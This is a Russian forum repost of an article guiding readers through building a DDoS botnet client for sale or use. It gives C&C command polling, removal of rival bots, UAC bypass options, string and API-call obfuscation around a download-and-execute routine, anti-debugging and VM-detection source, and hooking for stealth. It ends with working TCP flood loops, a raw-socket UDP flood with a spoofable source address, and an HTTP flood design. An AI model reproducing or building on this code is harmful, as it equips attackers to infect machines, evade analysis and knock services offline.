• Уменьшение отступа

    Обратная связь

    (info@ru-sfera.pw)

Малварь как искусство Написание ddos-бота: особенности и подводные камни


virt

Просветленный
Просветленный
Регистрация
24.11.2016
Сообщения
706
Репутация
228
Лазил по hpc.name в разделе статей и наткнулся на интересную статью, статья 2012 года, но думаю будет интересно кому-то, описывает подходы, которые думаю актуальны и сейчас.)

Введение

Как и любое программное обеспечение (далее ПО), бот обладает определенными отличиями, характерными только для него. Пользователю прежде всего бросится в глаза механизм общения бота с админ-панелью, список команд и то, насколько качественно эти команды выполняются. Но, к сожалению, существует еще много разных мелких деталей, которые очень сильно влияют на весь продукт. Ознакомить читателя с тем, как и с чего, каким образом реализовать бота, с какой стороны подходить к возможным проблемам и как в конечном итоге получить качественный продукт является целью данной статьи. Цель весьма обширна, но понять материал достаточно легко, потому как каждой проблеме выделен свой раздел.

Понимание концепции

Одного желания недостаточно для выполнения поставленной задачи. Но даже если вам прямо нетерпится открыть IDE и начать программировать - отложите эту затею. На первых порах работа по проекту будет чисто теоретическая. Вполне возможно, что и компьютер вовсе не понадобится. Сейчас в первую очередь необходимо четко сформулировать цель: для чего? Для чего мне вообще необходимо этим заниматься? Основные причины можно выделить две: использование и/или продажа. Как причину можно рассматривать и исследование, но рано или поздно плоды исследования опять же, либо продаются, либо используются. Поэтому исследование я в расчет не беру. В зависимости от ответа на вопрос, самому себе задаются еще несколько, чтобы определить, действительно ли вы готовы этим заниматься (если вы можете четко ответить на вопросы - возможно, из этого что-то выйдет). Алгоритм "самоопроса", назовем его так, представлен на диаграмме:

1599036681641.png


Вот собственно, ответы на вопросы и есть ваш бот. Да, выглядит немного непривычно, не так, как мы привыкли лицезреть ПО, но все-таки это так. Теперь в проекте есть и отличительные черты, которые сделают его конкурентноспособным, и сам ответ на вопрос, необходимо ли реализовывать ПО. Также имеются ответы на наводящие вопросы, объединив ответы которых, можно сказать о боте все: "Бот нужен для ..., использует ..., лучше аналогов тем, что ...". Именно это предложение будут все запоминать из всех упоминаний о проекте. Именно это предложение является определяющим при выборе имени для проекта, определяет концeпцию. И именно прочность связей и "гибкость" взаимодействия между "..." определяет успех проекта.

Детализация

Данный этап тоже чисто теоретический. Суть его заключается в том, чтобы разбить каждый из ответов на подзадачи - программные модули. Программные модули в свою очередь разбиваются на процедуры и функции, такая вот матрешка получается. Как делать подобную диаграмму зависит от предпочтений: кто-то рисует макеты на тетрадном листе, кто-то описывает текстом, кто-то рисует диаграммы в MS Visio. Личное дело каждого. Но все мнения сходятся в одном: все, что есть на макете должно быть в коде. Причем в идеале, кроме того, что на макете, не должно быть ничего. Это может показаться сложным, но на самом деле это не так. Ведь на этом этапе мы еще абстрагированы от кода и можем спокойно проектировать модули, писать для чего каждый из них нужен, в деталях описать взаимодействие между модулями и т.д. Разумеется, не нужно расписывать все так, как если бы вы все это начали описывать как программу. В макете описывается только:
  • Список всех модулей
  • Описание каждого модуля
  • Взаимодействие модулей друг с другом (описание входной и выходной информации, примеры для каждого взаимодействия)
  • Описание всех функций и процедур модуля (Для чего, входящие параметры, возвращаемое значение).

В качестве примера, возьмем описание одного из модулей бота QQ:

1599036693857.png


По аналогии можно задокументировать и наглядно представить весь проект. К слову, первые два этапа справедливы для любого проектирования. И крайне рекомендуемы. Решение, конечно, за вами, но результат будет пропорционален приложенным усилиям и серьезности к трудам. Также можно сделать наброски в виде заголовочных файлов:
C++:
#pragma once

#include <windows.h>
#include <malloc.h>
#include <string>

std::string fmReadFile        (const char* filename);
bool        fmWriteFile         (const char* filename, const char* content, int size,DWORD access_type, int file_pointer);
DWORD       fmFileSize      (const char* filename);
bool        fmStartExe         (const char* filename);
bool        fmFileExist          (const char* filename);
bool        fmRenameFile     (const char* OldName, const char* NewName);

На этом теоретическая часть заканчивается, далее я буду рассказывать о том, какие инструменты при каких обстоятельствах лучше выбрать, об основных имеющихся модулях в любом боте, о том, что выбирать, что по моему мнению лучше писать и все в таком роде.

Выбор инструментов

Когда макет ПО готов, все задокументировано, пора подумать о том, с помощью каких средств реализовывать продукт:
  • Операционная система
  • Язык программирования
  • Среда программирования
  • Компилятор
  • Дополнительные библиотеки, классы, модули и т.п.
На последнем пункте я бы хотел акцентировать особое внимание, т.к. если все вышеупомянутое зависит от ваших личных предпочтений и потребностей, а список "из чего можно выбрать" довольно богат, то вот с последним не все так радужно. Рассмотрим типичный пример: реализация шифрования в протоколе передачи данных от бота к админ-панеле. Чего только стоит выбор алгоритма шифрования... Как правило, найти легковесные библиотеки нелегко, если вообще возможно, т.е. уже как минимум имеем затраты на "доведение до ума". Плюс тестирование.

А вдобавок еще вспоминаем, что реализация нужна не только для бота, но и для админ-панели. У меня решение этого вопроса достигло критической отметки, когда необходимо было шифровать сообщения ГОСТом. Кроме статьи на и толкового ничего нет, курсовые студентов даже смотреть не хотелось - видимость работы != работа. Единственное, что попалось на глаза - библиотека openssl. Но, к сожалению, включить слишком большой объем кода, соизмеримый с кодом всего остального проекта для данной задачи мне показалось неправильным решением проблемы. Так что при необходимости подключения дополнительных библиотек ищите как можно больше реализаций.

Сравнивайте их возможности, исходный код, если возможно - быстродействие, внешние зависимости, используемые парадигмы, чтобы максимально приблизиться к идеологии проекта. Вдобавок следует обратить внимание на увеличение размера файла при компиляции проекта с использованием стороннего кода. Возможно, действительно целесообразнее было бы реализовать свой велосипед, но не стоит вдаваться в крайности. Найдите золотую середину (а кроме как путем экспериментов ее не найти) и идите по намеченному пути.

Реализация

В принципе, существует два подхода: нисходящий и восходящий. У обоих подходов есть плюсы и минусы, почитать про которые можно . Останавливаться на этом не будем. В качестве примера я выбрал восходящий подход, который будет рассмотрен на примере вышеупомянутого бота.

Итак, быстренько создав необходимые файлы, получаем вот такую картину, которая в общем описывает проект и его возможности:

1599036706440.png

По именам модулей нетрудно догадаться для чего каждый из них предназначен. Обратите внимание, хоть ядро и реализуется в последнюю очередь, оно тоже является модулем. Модулем, без которого работа ПО сводится на нет. Список ваших модулей может и ДОЛЖЕН отличаться, ведь подобный софт просто обязан быть уникальным.

Взглянем для сравнения на модули :

1599036718588.png


Их здесь несколько больше, в виду особенностей работы и назначения, но все равно видим тоже самое - ядро и вспомогательные модули. Так как статья посвящена разработке Ddos-бота, продолжим тему рекомендациями о том, что же должно быть в проекте и каким образом эти самые рекомендации лучше всего реализовать. Основные модули, без которых работа подобного ПО невозможна, такие как работа с файлами, реестром, процессами, и сетью рассматриваться не будет, потому как это вещи из разряда "само собой разумеется", и каждый реализовывает их по-своему.

Проектирование ядра

Главный модуль софта - ядро. Что же оно должно в себы включать? Главная задача - организация общения между остальными модулями. Чаще всего логика общения построена на управляющих командах, которые задаются в админ-панеле, а выглядит это следующим образом: при инициализации ядра оно запрашивает команды, после получения список обрабатывается и, соответственно, в зависимости от команды выполняются определенные действия. На рисунке изображена подробная схема:

1599036730210.png


Также ядро может работать с неуправляемым кодом: запуск плагинов, перехватчиков API-функций, тоесть всего того, что не имеет общих с ядром ресурсов и может работать независимо от него. Чаще всего, подобные функции/процедуры выполняются в фоне на этапе инициализации. Следует также обратить внимание, что в сложных по своей структуре проектах ядер может быть несколько, которые, в свою очередь, последовательно вызываются из одного блока кода (так называемое, главное ядро).

Вышеупомянутый Зевс - один из примеров:
Код:
#include "core.h"
#include "corehook.h"
#include "coreinject.h"
#include "corecontrol.h"

Что касается кода, то в этом случае есть пара тонкостей. Например, что именно включить в инициализацию? Нужно ли распаралеливать неуправляемый код и ядро? А также как организовать связь с админ-панелью: по какому протоколу, какой формат команд принять и т.д.? На эти вопросы я отвечу по порядку.В инициализации необходимо создать рабочие для ядра условия: занесение значений в переменные (данные об ОС и пользователе, чтение настроек софта, дешифровка используемых ресурсов). То есть все то, что понадобится ядру на протяжении всей его работы. Также в инициализацию ядра можно включить инициализацию генератора псевдослучайных чисел, который может понадобится при рандомизации пакетов.

Небольшой пример (псевдокод):
Код:
char* chEncryptedSettings[] = { param1, param2, ..., paramN};

void InitCore()
{
// Определяем количество настроек
    int n = sizeof(chEncryptedSettings) / 4;
    while(n >= 0)
// Дешифруем каждый пункт (способ дешифровки зависит от выбранного алгоритма)
        DecryptSettingsParam(--n, PARAM_KEY);
// Собираем информацию о ПК
    char* info = CollectPCinfo();

    srand(GetTickCount());
}

При распаралеливании неуправляемого кода в процедуру инициализации необходимо будет включить необходимые потоки и их вызов:
Код:
DWORD WINAPI ThreadHook(LPVOID lparam)
{
    // Внедрение кода перехватчика
        // Подробнее читайте ниже
}

CreateThread(NULL,NULL,ThreadHook,NULL,NULL,NULL);

Что касается выбора протокола обмена данными с админ-панелью, то не обязательно останавливаться на HTTP. Можно придумать и свой. Однако, преимущество HTTP перед всеми другими - популярность. Практически любой хостер предоставляет сервер с поддержкой php+mysql. Именно это и послужило причиной использовать вышеупомянутый протокол. Но если ваша специфическая админ-панель может быть развернута на большинстве серверных машин, то почему бы не использовать собственные разработки? Тем более при выборе сервера для бота ценовая разница между веб-сервером и, скажем, VPS не ощутима, т.к. главный параметр в таком выборе - абузоустойчивость. В любом случае, давайте взглянем как можно организовать обмен данными между ботом и командным центром.

Допустим, что наш бот имеет определенный id, который однозначно идентифицирует его в базе, и по которому он получает команды. Если id у него не имеется, то он пытается запросить доступ как новый бот, после чего просит список команд (через id). В независимости от результата, боту нужно простаивать определенный промежуток времени, чтобы не нагружать сервер. После чего процедура повторяется вновь. Все очень просто, не правда ли?
C++:
string Check(int id)
{
    string commands;
    Sleep(REQUEST_INTERVAL);

// Если по указанному id не удалось получить список команд в commands (передача по ссылке)
    if (!GetCommands(ToString(id), &commands))
    {
// Пробуем зарегистрироваться заного на сервере (возвращаемое значение - id)
        Check(Register(CollectPCinfo())));
    }

    ParseCommands(commands);
}

void ParseCommands(string c)
{
    // Парсим команду

    // Как правило список команд представлен следующей маской:
    cmd1_param1_param2_paramN+
    cmd2_param1_param2_paramN+
    cmd3_param1_param2_paramN
    // Где _ - разделитель между параметрами команды
    // + - разделитель между командами

    // Такой формат легко обрабатывать через функции форматной строки
    // Или методами классов, аля Trim

    // После ассоциативного разделения все сводится к элементарному:
    if (cmd[0] == "http")
    {
    }
    else if(cmd[0] == "tcp")
    {
    }
    else if(cmd[0] == "udp")
    {
    }
    // Тоесть для каждой команды обрабатываем параметры
    // Инициализируем поток этими параметрами (URL, порт, режим ддоса и т.д.)\
    // Запускаем определенное количество потоков
    // Ждем время до следующего отстука (WaitForMultipleObjects для Windows)
    // И вызываем заного процедуру получаения команд
}

Далее речь пойдет о вспомогательных модулях. В заголовках будет указана зависимость от ядра (если в основу взять именно модульную структуру проекта).

Удаление ПО конкурентов (независим)

К сожалению, не все сервисы загрузок являются добросовестными. Но даже если у вас имеется свой способ установки ПО на машины, то все равно они (машины) уже могут кому-то служить. Естественно, делиться ресурсами с кем-то вам вовсе не хочется, а потому нужно за них бороться. Сейчас, функция удаления ботов-конкурентов - стандарт. Не реализовывают ее только ленивые. Как ее лучше всего реализовать, спросите вы? Очень просто - берем определенное число популярных и продаваемых ботов. Ищем в интернете информацию о них, о том, как работают и главное - как удалить из системы. И, соответственно, реализовываем алгоритм в своем проекте. Как правило, алгоритм тривиальный и заключается в:
  • Завершении процесса
  • Удалении файла
  • Удалении ключа автозапуска или других, связанных с файлом, из реестра

Обход UAC (независим при установке в систему, зависим при выполнении команд, связанных с ОС)

Мнения насчет этой функции расходятся. Кто-то говорит, что обход не нужен, т.к. все сидят под учетной записью администратора и выключают UAC к чертям, кто-то наоборот не хочет иметь никаких дел с ПО, где нет этой особенности. Я скажу так: лучше иметь эту возможность, чем нет. Потому как не все "сидят под админом". Есть куча офисных машин, а в регионах, отличных от РУ, подавляющее большинство использует пользовательскую учетную запись. Или по крайней мере оставляют защиту включенной. Методов обхода существует приличное количество, несмотря на слухи, гуляющие по форумам:
  • Следовать
  • Запросить приложению доступ легальным способом (через специальные API)
  • Узнать пароль администратора фейком, а затем запускать приложение через него
  • Использовать уязвимости для повышения привилегий
Для работы бота в принципе достаточно соблюдать первый пункт, но если урезаные права вас расстраивают, можете поэкспериментировать с остальными пунктами. Хотелось бы также добавить, что в ОС, отличных от Windows, существуют аналоги подобной системы защиты. Способы обхода аналогичны.

Шифрование (зависим: ввод/вывод)

Выбор алгоритма шифрования в принципе необходим только для того, чтобы скрыть трафик от любопытных глаз. И файл настроек, если таковой будет. Главное, чтобы он не был слишком громоздким и не отнимал много процессорного времени. В большинстве аналогов на сегодняшний момент используется XOR, , реже . Я бы советовал приглядеться к последнему по следующим причинам:
  • Легко реализовать
  • Стойкий (легче будет сделать реверс и вытянуть ключ, чем подбирать его)
  • Быстрый.
Если же анонимность передачи данных для вас первоочередная задача и вы уже сделали все для того, чтобы максимально усложнить реверс ПО, то, само собой, необходимо реализовывать шифрование на ассиметричных алгоритмах, например, . Ключи могут генерироваться в зависимости от характеристик ПК (железо, софт, пользовательские данные). Для разгрузки ресурсов админ-панели, лучше по максимуму нагрузить машину бота. При генерации ключей, например.

Плюс всегда можно добавить что-то свое. Какие-то простейшие перестановки, модификации зашифрованных сообщений. Все это конечно только отсрочит обнародование протокола, но этого времени может хватить для того, чтобы вы выпустили апдейт с совершенно иной системой шифрования.

Защита ПО (шифрование зависимо от вышеупомянутого модуля, антиотладка, антиВМ/песочница и т.д. независимы)

Как минимум необходимо шифровать ресурсы софта: константы, строки, любые другие данные, которые используют алгоритмы, и которые хранятся в исполняемом файле. Это минимум, который необходим, чтобы сразу при просмотре через hex-редактор не установили что делает софт. Если не верите, почитайте статьи по использованию Olly Debugger и вы увидите, как с помощью пары кликов в незащищенном приложении можно получить список вызываемых функций, все строки и много другой общей информации.

Чтобы скрыть вызываемые функции, вызывайте ее по адресу через LoadLibrary, предварительно зашифровав имя вызываемой функции. Это как минимум устережет от неопытных любопытных глаз.

Было:
Код:
if (UrlDownloadToFileA(NULL,url,chTempPath,0,NULL) == S_OK)
        StartFile(chTempPath);
Стало:
Код:
typedef HRESULT (WINAPI *_URLDownloadToFile)
(
  LPUNKNOWN pCaller,
  LPCTSTR szURL,
  LPCTSTR szFileName,
  DWORD dwReserved,
  LPBINDSTATUSCALLBACK lpfnCB
);

_URLDownloadToFile URLDownloadToFileA = NULL;
HINSTANCE hUrlmon   = LoadLibrary("urlmon.dll");
if (hUrlmon)
{
    URLDownloadToFileA = (_URLDownloadToFile)GetProcAddress(hUrlmon, "URLDownloadToFileA");
    if (URLDownloadToFileA)
    {
        if (URLDownloadToFileA(NULL,url,chTempPath,0,NULL) == S_OK)
            StartFile(chTempPath);
                      
    }
        FreeLibrary(hUrlmon);
}

Используйте средства антиотладки. Как раз необходимо для тех случаев, когда неопытный реверсер (чаще обзорщик) садится посмотреть, что же делает прога? В интернете можно найти рекомендации и примеры, но советую не просто копировать код, а изменять его, вплоть до полной переписи методики с сохранением результата или разработки аналога. Руководствуйтесь принципом: если есть готовый метод, то есть скрипт/плагин для автоматизации сведения на нет данного метода.

Простейший пример:
Код:
bool isDebug()
{
    unsigned long NtGlobalFlags = 0;
    __asm
    {

        mov eax, fs:[30h];
        mov eax, [eax + 68h];
        mov NtGlobalFlags, eax;

    }
    if(NtGlobalFlags & 0x70)
        return true;

    char IsDbgPresent = 0;
    __asm
    {
        mov eax, fs:[30h];
        mov al, [eax + 2h];
        mov IsDbgPresent, al;
    }
    if (IsDbgPresent)
        return true;

}

с исходным кодом по антиотладке.

Добавьте неработоспособность на и . Можно самостоятельно определить песочницу или ВМ по определенным значениям (специфичным для конкретной среды). Используйте это, чтобы предотвратить запуск или работу "по плану" в подобных условиях. Но также следует учесть, что "полигон для исследований" может быть вполне реальной машиной. Если вас это очень сильно волнует, то можно задействовать поведенческий анализ пользователя в системе, чтобы предположить для каких целей служит машина.

Пример программы, взятой с материалов по :
C++:
/* Qualys Vulnerabliity & Malware Research Labs (VMRL)
Blackhat 2012 Presentation Samples
TiTle: A Scientific (but non academic) study of how malware employs anti-debugging,
anti-disassembly and anti-virtualization technologies
Authors: Rodrigo Rubira Branco <rbranco *NOSPAM* qualys.com>
Gabriel Negreira Barbosa <gbarbosa *NOSPAM* qualys.com>
Pedro Drimel Neto <pdrimel *NOSPAM* qualys.com>

This program basically implements virtual machine detection techniques described
on sections 5.1, 5.2 and 5.3. The code is based on the following sources:

http://www.trapkit.de/research/vmm/scoopyng/
http://www.offensivecomputing.net/dc14/vmdetect.cpp
http://www.codeproject.com/Articles/9823/Detect-if-your-program-is-running-inside-a-Virtual
*/

#include <stdio.h>
#include <tchar.h>
#include <Windows.h>
#include <conio.h>
#include <excpt.h>

// 5.1
// Reference:
// ScoopyNG - The VMware detection tool - Version v1.0 - Tobias Klein, 2008 - www.trapkit.de
void sidt()
{
    unsigned char    idtr[6];
    unsigned long    idt    = 0;

    _asm sidt idtr
    idt = *((unsigned long *)&idtr[2]);

    if ((idt >> 24) == 0xff)
        printf("VM detected\n");
    else
        printf("VM not detected\n");

}

// 5.1
// Reference:
// ScoopyNG - The VMware detection tool - Version v1.0 - Tobias Klein, 2008 - www.trapkit.de
void sldt()
{
    unsigned char ldtr[5] = "\xef\xbe\xad\xde";
    unsigned long ldt    = 0;

    _asm sldt ldtr
    ldt = *((unsigned long *)&ldtr[0]);

    if (ldt == 0xdead0000)
        printf("VM not detected\n");
    else
        printf("VM detected\n");
}

// 5.1
// Reference:
// ScoopyNG - The VMware detection tool - Version v1.0 - Tobias Klein, 2008 - www.trapkit.de
void sgdt()
{
    unsigned char gdtr[6];
    unsigned long gdt    = 0;

    _asm sgdt gdtr
    gdt = *((unsigned long *)&gdtr[2]);

    if ((gdt >> 24) == 0xff)
        printf("VM detected\n");
    else
        printf("VM not detected\n");
}

// 5.1
// Reference:
// ScoopyNG - The VMware detection tool - Version v1.0 - Tobias Klein, 2008 - www.trapkit.de
void str()
{
    unsigned char    mem[4] = {0, 0, 0, 0};

    __asm str mem;

    if ((mem[0] == 0x00) && (mem[1] == 0x40))
        printf ("VM detected\n");
    else
        printf ("VM not detected\n");
}

// 5.1
// Reference
// http://www.offensivecomputing.net/ Written by Danny Quist, Offensive Computing
void smsw()
{
    unsigned int reax = 0;

    __asm
    {
        mov eax, 0xCCCCCCCC;
        smsw eax;
        mov DWORD PTR [reax], eax;
    }

    if ( (( (reax >> 24) & 0xFF ) == 0xcc) && (( (reax >> 16) & 0xFF ) == 0xcc))
        printf("VM detected\n");
    else
        printf("VM not detected\n");
}

// 5.2
// Reference: ScoopyNG - The VMware detection tool - Version v1.0 - Tobias Klein, 2008 - www.trapkit.de
void vmware_get_memory()
{
    unsigned int    a    = 0;

    __try
    {
        __asm
        {
            push eax
            push ebx
            push ecx
            push edx

            mov eax, 'VMXh'
            mov ecx, 14h
            mov dx, 'VX'
            in eax, dx
            mov a, eax

            pop edx
            pop ecx
            pop ebx
            pop eax
        }
    } __except (EXCEPTION_EXECUTE_HANDLER) {}

    if (a > 0)
        printf("VMWare detected\n");
    else
        printf("VMWare not detected\n");
}

// 5.2
// Reference: ScoopyNG - The VMware detection tool - Version v1.0 - Tobias Klein, 2008 - www.trapkit.de
void vmware_get_version()
{
    unsigned int    a, b;

    __try
    {
        __asm
        {
            push eax
            push ebx
            push ecx
            push edx

            mov eax, 'VMXh'
            mov ecx, 0Ah
            mov dx, 'VX'
            in eax, dx
            mov a, ebx
            mov b, ecx

            pop edx
            pop ecx
            pop ebx
            pop eax
        }
    } __except (EXCEPTION_EXECUTE_HANDLER) {}

    if (a == 'VMXh')
        printf("VM detected\n");
    else
        printf("VM not detected\n");
}

// 5.3
// Reference:
// http://www.codeproject.com/system/VmDetect.asp
DWORD __forceinline IsInsideVPC_exceptionFilter(_EXCEPTION_POINTERS *ep)
{
  PCONTEXT ctx = ep->ContextRecord;

  ctx->Ebx = -1; // Not running VPC
  ctx->Eip += 4; // skip past the "call VPC" opcodes
  return EXCEPTION_CONTINUE_EXECUTION;
  // we can safely resume execution since we skipped faulty instruction
}

// From Elias Bachaalany's Codeproject.com post:
// http://www.codeproject.com/system/VmDetect.asp
BOOL virtualpc_detect()
{
      bool rc = false;

      __try
      {
        __asm
        {
            push eax
            push ebx
            push ecx
            push edx

            mov ebx,0h
            mov eax, 01h

            __emit 0Fh
            __emit 3Fh
            __emit 07h
            __emit 0Bh

            test ebx, ebx
            setz [rc]
          
            pop edx
            pop ecx
            pop ebx
            pop eax
        }
      }
      __except(IsInsideVPC_exceptionFilter(GetExceptionInformation()))
      {
        rc = false;
      }
      return rc;
}

int _tmain(int argc, _TCHAR* argv[])
{

    int opt = 0;
    BOOL vpc = false;

    printf("Virtual Machine detection tool \n\n");
    printf("1 - SGDT \n");
    printf("2 - SLDT \n");
    printf("3 - STR \n");
    printf("4 - SMSW \n");
    printf("5 - VMWare get memory\n");
    printf("6 - VMWare get version\n");
    printf("7 - VirtualPC detection\n\n");
    scanf_s("%d", &opt);
    switch (opt)
    {
        case 1: sgdt();
            break;
        case 2: sldt();
            break;
        case 3: str();
            break;
        case 4: smsw();
            break;
        case 5: vmware_get_memory();
            break;
        case 6: vmware_get_version();
            break;
        case 7: vpc = virtualpc_detect();
            if (vpc)
                printf("VirtualPC detected\n");
            else
                printf("VirtualPC not detected\n");
            break;
        default: printf("Invalid option\n");
            break;
    }

    _getch();
    return 0;
}

Проверяйте контрольные суммы, убедитесь в отсутствии хуков. Очень полезная функция при запуске софта на неизвестных ему песочницах.

Сами используйте хуки. Благодаря перехвату API бот станет невидимым в проводнике, ключи в реестре будут недоступны, а также нельзя будет завершить процесс через диспетчер задач. Неплохо, правда? Недостатки, конечно, есть: фаерволам или другим средствам это не понравится. Они мало того, что не дадут софту это сделать, так еще и перешлют образец файла в лабораторию. Очень хороший пример с исходным кодом можно найти .

Пользуйтесь возможностью настраивать права файловой системы для того, чтобы уберечь исполняемый файл от удаления или модификации. Очень простой способ уберечь файл от удаления, но все таки следует понимать, что это один из вариантов, а не панацея.

Для децентрализованности можно разбить бота на самостоятельные исполняемые модули (несколько исполняемых файлов). Например, запрос на команды будет делать один файл, исполнять - другой, смотреть за всеми модулями - третий. Такой разброс увеличит надежность, если при обнаружении отсутствия какого-либо из модулей оный будет скачиваться заного. Примечание: исполняемым модулем может быть не только exe или dll. Инжект в доверенный процесс используют в том числе и для этого.

Реалиация Ddos модулей (зависимость от менеджера потоков)

Эффективность этих модулей - один из важнейших факторов, который определяет эффективность всего софта вцелом, а также в большей мере определяет прибыль. Сегодня можно встретить множество проектов, у которых степень эффективность ddos'а как такового весьма разнится, причем разница бывает не только вцелом, а например, для конкретного прокола. Поэтому эффективности данных модулей тоже следует уделить внимание.

TCP

Весьма тривиальная задача, которая по сути сводится к реализации хорошего генератора строк. Заполнить случайный буфер случайными символами ведь не проблема? Вдобавок можно релизовать генерацию случайных заголовков и случайный интервал задержки между повторной отправки пакетов, чтобы усложнить работу защитных модулей сервера.

Вариант 1:
C++:
while(true)
    {
        sClient = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
        lstrcpy(szMessage, "test");
        if (sClient == INVALID_SOCKET)
        {
            return 0;
        }
        server.sin_family = AF_INET;
        server.sin_port = htons(ToPort);
        server.sin_addr.s_addr = DWToIP;

        if (server.sin_addr.s_addr == INADDR_NONE)
        {
            return 0;
        }
        if (connect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
        {
            closesocket(sClient);     
            return 0;
        }
        ret = send(sClient, szMessage, lstrlen(szMessage), 0);

    }

Вариант 2:
C++:
lstrcpy(szMessage, "test");
if (sClient == INVALID_SOCKET)
{
    return 0;
}
server.sin_family = AF_INET;
server.sin_port = htons(ToPort);
server.sin_addr.s_addr = DWToIP;

if (server.sin_addr.s_addr == INADDR_NONE)
{
    return 0;
}

_AGAIN:

if (connect(sClient, (struct sockaddr *)&server, sizeof(server)) == SOCKET_ERROR)
{
    closesocket(sClient);     
    return 0;
}

while(true)
{

    ret = send(sClient, szMessage, lstrlen(szMessage), 0);
    if (!ret)
    {
        closesocket(sClient);
        goto _AGAIN;
    }

}

UDP

Полностью совпадает с TCP. Разве что можно добавить поддержку сырых сокетов для подделки IP-адресса отправителя, если вдруг ОС это поддержвивает (например, бот запущен под рутом на Linux или на серверной версии Windows с правами администратора)
Пример модуля, реализующего поддержку сырых сокетов под Windows представлен ниже.

UDP.h :
C:
#pragma pack(1)
#pragma once

#define WIN32_LEAN_AND_MEAN

#include <winsock2.h>
#include <windows.h>
#include <stdlib.h>
#include <ws2tcpip.h>

#pragma comment(lib,"Ws2_32.lib")

#define    IPVERSION    4               /* IP version number */
#define    IP_MAXPACKET    65535        /* maximum packet size */

struct udphdr {
    u_short uh_sport;               /* source port */
    u_short uh_dport;               /* destination port */
    u_short uh_ulen;                /* udp length */
    u_short uh_sum;                 /* udp checksum */
};


typedef struct _pseudoheader {
    struct in_addr source_addr;
    struct in_addr destination_addr;
    u_char zero;
    u_char protocol;
    u_short length;
} pseudoheader;

USHORT checksum(USHORT *buffer, int size);
DWORD WINAPI dUDP(LPVOID param);

UDP.cpp:
C++:
#include "UDP.h"

USHORT checksum(USHORT *buffer, int size)
{
    unsigned long cksum=0;

    while (size > 1)
    {
        cksum += *buffer++;
        size  -= sizeof(USHORT);
    }
    if (size)
    {
        cksum += *(UCHAR*)buffer;
    }
    cksum = (cksum >> 8) + (cksum & 0xffaa);
    cksum += (cksum >>8);

    return (USHORT)(~cksum);
}

DWORD WINAPI dUDP(LPVOID param)
{
    char szMessage[] = "test";
    u_short iTotalSize=(sizeof(ip)+sizeof(udphdr)+lstrlen(szMessage)),
        iToPort=22,
        ifromPort=22;

    u_long dwToIP=inet_addr("1.1.1.1");
    u_long dwFromIP=inet_addr("1.1.1.1");

    SOCKET             s;
    BOOL               bOpt;
    int                ret = 0;

    s = WSASocket(AF_INET, SOCK_RAW, IPPROTO_RAW, NULL, 0,0);
    if (s == INVALID_SOCKET)
    {
        return -1;
    }
    bOpt = TRUE;
    ret = setsockopt(s, IPPROTO_IP, IP_HDRINCL, (char *)&bOpt,
        sizeof(bOpt));
    if (ret == SOCKET_ERROR)
    {
        return -1;
    }

    if(dwToIP==INADDR_NONE)
    {
        return -1;
    }
    char * buf=(char*)malloc(iTotalSize);
    if(!buf)
    {
        return 1;
    }
    ZeroMemory(buf,iTotalSize);

    ip * iph;
    udphdr *udph;

    iph=(ip*)buf;
    udph=(udphdr*)(buf+sizeof(ip));

    iph->ip_v    = IPVERSION;
    iph->ip_hl = 5;
    iph->ip_tos = 0;
    iph->ip_len = htons(iTotalSize);
    iph->ip_id  = 1;
    iph->ip_off = 0;
    iph->ip_ttl = 255;
    iph->ip_p    = IPPROTO_UDP;
    iph->ip_sum = 0;
    iph->ip_src.S_un.S_addr = dwFromIP;
    iph->ip_dst.S_un.S_addr = dwToIP;

    udph->uh_dport=htons(iToPort);
    udph->uh_sport=htons(ifromPort);
    udph->uh_sum=0;
    udph->uh_ulen=htons(sizeof(struct udphdr) + strlen(szMessage));

    pseudoheader pzh;
    pzh.source_addr.S_un.S_addr = dwFromIP;
    pzh.destination_addr.S_un.S_addr = dwToIP;
    pzh.zero = 0;
    pzh.protocol = IPPROTO_UDP;
    pzh.length = htons(sizeof(struct udphdr));

    char * pseudopacket;
    if((pseudopacket = (char *)malloc(sizeof(pseudoheader)+sizeof(struct udphdr))) == NULL)
    {
        return 1;
    }

    memcpy(pseudopacket, &pzh, sizeof(pseudoheader));
    memcpy(pseudopacket + sizeof(pseudoheader), (char*)udph, sizeof(struct udphdr));
    udph->uh_sum= checksum((u_short *)pseudopacket, sizeof(pseudoheader) + sizeof(struct udphdr));
    free(pseudopacket);

    struct sockaddr_in remote;
    remote.sin_family = AF_INET;
    remote.sin_port = htons(iToPort);
    remote.sin_addr.s_addr = dwToIP;

    ret = 0;
   while(true)
  {
        Sleep(rand()%1000);
        ret = sendto(s, buf, iTotalSize, 0, (SOCKADDR *)&remote,sizeof(remote));
        if (ret == SOCKET_ERROR)
        {
            printf("sendto() failed: %d\n", WSAGetLastError());
        }
        ret = 0;
  }

    if (s!=INVALID_SOCKET)
    {
        closesocket(s);
    }

    return 0;
}

HTTP

В этом случае все будет посложнее. Во-первых, заголовков приличное количество. Во-вторых, у каждого значения в заголовке имеется возможность использовать приоритеты. Но даже если это работа будет выполнена, остаются нерешенные вопросы:
  • Загрузка не только исходного кода страницы, но и ресурсов, которые указаны в коде страницы (рисунки, css-таблицы и т.д.)
  • Использование сжатия (gzip)
  • Сохранение cookies.
  • В виду многовариантности в построении http-запросов, приведу алгоритм для понимания того, как лучше всего строить логику построения
Код:
void GetPage(string url, int QueryType)
{
    string Query = GetSharedHeaders(); // Генерируем общие для всех типов запросов заголовки

    // Обрабатываем тип запроса
    switch(QueryType)
    {
        case HEAD:
        case GET:
        case POST:
            // Генерируем специальные заголовки,
            // Зависящие от конкретного запроса
            Query += GetTypicalHeaders(Query);
        default: reak;
    }

    // Если удалось подключиться к серверу
    if (ConnectToServer(url))
    {
    // Посылаем запрос, принимаем ответ
        string Answer = SendPacket(Query);
    // Обрабатываем ответ (код страницы, теги src, cookies и т.д.)
        ParseAnswer(Answer);
  
        // Далее, если необходимо
        // Устанавливаем сессию
        // Докачиваем необходимые ресурсы (через рекурсию, например)
  
    }
}

Если вы пишите бота на .NET, то для удовлетворения всех вышеупомянутых требований есть очень хороший компонент - . К слову, он есть и в Delphi, C++ Builder (ныне RAD Studio)

Остальные протоколы

